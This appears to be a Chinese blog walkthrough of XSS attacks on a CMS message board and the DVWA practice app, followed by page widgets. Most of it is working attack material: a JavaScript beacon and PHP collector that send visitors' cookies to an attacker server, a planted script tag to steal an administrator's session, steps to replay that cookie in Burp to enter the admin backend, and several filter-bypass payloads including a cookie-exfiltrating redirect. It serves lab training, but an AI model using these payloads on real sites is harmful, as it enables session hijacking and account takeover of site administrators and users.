XSS攻击【CMS,DVWA】通关技巧

CMS

搜索框弹窗:

<script>alert(1)</script>

获取管理员Cookie:

1.寻找目标网站的 xss 攻击点:留言板

2.制作并搭建接收远程Cookie的服务器(kali

开启kali的apache2服务:

service apache2 start
进入到/var/www/html目录下

制作一个 Js 文件:

var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src ='http://攻击服务器IP/xss.php?c='+ document.cookie;

制作一个 PHP 文件:

<?php
$ip=$_SERVER["REMOTE_ADDR"];

$cookie =$_GET["c"];

$fp ="/var/www/html/xss.txt";
$file = fopen($fp,"a+");
fwrite($file, $ip."\n");
fwrite($file, $cookie."\n");
fclose($file);
?>

3.提交盗取管理员 Cookie 的攻击代码

在输入框提交攻击代码,尽量将信息伪装的比较正常然后提交

<script language=javascript src=http://攻击服务器IP/xss.js></script>

4.等待管理员登录并查看留言

管理员登录管理后台查看留言板:

5.查看kali中是否生成了xss.txt文件

查看文件内容,复制Cookie

username=admin; userid=1; PHPSESSID=8n78cfmj1pd40n9nm0rgf7g5c0

6.使用接收到的管理员 Cookie 通过BP绕过身份验证直接登录网站后台

注意*:为了防止登录验证,应该直接在首页处开启抓包后点击后台管理

开启BP

点击后台管理

抓到相应的数据包,替换Cookie

可设置自动替换

打开BP->Proxy->Proxy settings->Tools->Proxy->Match and replace rules->add

match:^Cookie.*$
Cookie: 值
勾选上Regex match

此时发现Cookie已经替换,将数据包全部放行

成功进入后台

DVWA

XSS(Reflected)

Low:
<script>alert(document.cookie)</script>

Medium:

安全配置对<script>做了过滤

大写绕过
<SCRIPT>alert(document.cookie)</script>
双写绕过
<sc<script>ript>alert(document.cookie)<script>

Heigh:

安全配置对<script>做了逐字检查,并且不区分大小写

通过img标签报错和后执行onerror来弹窗
<img src=l onerror=alert(document.cookie)>

XSS(Stored)

Low:
<script>alert(document.cookie)</script>
如上述CMS留言板获取Cookie一样,将Cookie返回到攻击服务器上,此处XSS(Stored)只演示如何绕过防护配置
<script>document.location="http://攻击服务器IP/xss.php?cookie="+document.cookie</script>

Medium:

安全配置使用了htmlspecialchars()实体编码,难以绕过,但 name 框只做了简单限制

在 name 框输入
也可以使用 burpsuite 更改
大写绕过
<SCRIPT>alert(document.cookie)</script>
双写绕过
<sc<script>ript>alert(document.cookie)</script>

发现name框限制输入字符长度为10,F12修改其限制值

在name框内输入

Heigh:

安全配置使用了htmlspecialchars()实体编码,难以绕过,但 name 框只做了简单限制

在 name 框输入
也可以使用 burpsuite 更改
<img src=1 onerror=alert(document.cookie)>

XSS(DOM)

DOM特点:

过 document 把用户输入的值带入 value,最后显示给用户

Low:
<script>alert(document.cookie)</script>

在URL后输入

Medium:

安全配置对提交的值做检查,如果有<script 就跳转到 English

要逃逸option和select标签来运行img标签的内容
></option></select><img src=1 onerror=alert(document.cookie)>

如何查看闭合?

在选项栏处右键选择检查

在URL上输入

Heigh:

安全配置是以白名单的形式对用户输入做过滤,若不为选项中的值便跳到Englisgh

通过后端注释符来绕过,因为后端为PHP,#会注释掉后面内容,然后返还给前端,而前端为JS,#并不做注释,所以被带到前端执行
#<script>alert(document.cookie)</script>
URL编码绕过
#%3Cscript%3Ealert(document.cookie)%3c/script%3E

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值